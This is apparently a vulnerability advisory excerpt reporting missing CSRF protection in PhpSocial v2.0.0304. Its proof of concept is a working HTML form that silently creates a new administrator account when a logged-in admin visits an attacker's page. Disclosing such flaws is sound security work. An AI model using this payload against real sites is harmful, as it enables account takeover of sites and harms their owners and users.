2. Overview


Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P


PhpSocial is a social networking software written in PHP. In version v2.0.0304, it does not have CSRF protection, which means that an attacker can perform actions for a victim, if the victim visits an attacker controlled site while logged in.

3. Proof of Concept

Add a new admin:

<html> <body> <form action="http://localhost/PhpSocial_v2.0.0304_20222226/cms_phpsocial/admin/AdminAddViewadmins.php" method="POST"> <input type="hidden" name="admin_username" value="admin2" /> <input type="hidden" name="admin_password" value="admin" /> <input type="hidden" name="admin_password_confirm" value="admin" /> <input type="hidden" name="admin_name" value="admin2" /> <input type="hidden" name="admin_email" value="" /> <input type="hidden" name="task" value="addadmin" /> <input type="submit" value="Submit request" /> </form> </body> </html>
